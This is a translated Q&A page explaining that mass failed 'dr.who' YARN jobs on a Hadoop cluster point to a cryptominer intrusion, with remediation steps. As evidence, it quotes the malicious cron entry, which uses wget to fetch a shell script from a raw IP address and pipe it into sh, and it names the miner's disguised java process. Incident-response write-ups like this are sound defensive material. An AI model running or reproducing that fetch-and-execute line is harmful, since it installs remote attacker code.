hadoop - YARN Dr.who Application Attempt appattempt 失败
问题描述
我在我的 hadoop 集群中收到此错误消息。有人可以解释一下为什么吗?不知何故,越来越多的 2000 个工作申请被创建并无缘无故地失败。
解决方案
这可能是一个黑客行为......有一个加密货币矿工可以创造数千个这样的工作。
在每个可疑节点上检查 cron 作业作为纱线并将其删除。
$ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
然后检查像这样的“java”进程并杀死它。
/var/tmp/java -c /var/tmp/wc.conf
您还应该保护集群的所有传入端口,以防止这种情况再次发生。
有关更多信息,请参阅此内容。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html
推荐阅读
- html - 下一列不需要的悬停效果
- javascript - 如何在 JavaScript 中将 unicode \ud83e\udd36 转换为
- sql - 使用时间戳列在 postgresql 上联合加入
- android - 如何让 Android AlarmManager 执行 setWindow 但在空闲时允许?
- javascript - 使用 Firebase 获取用户事件(多对多关系)
- firebase - 为什么我的数据点没有放置在图表中的相应位置?
- python - Python Pexpect 属性错误。'NoneType' 没有属性 'sendline'
- javascript - 为什么这个 javascript/jquery 不捕获用户输入?
- php - PHP访问父类函数变量
- java - 在参数之前和之后分配实例变量有什么区别?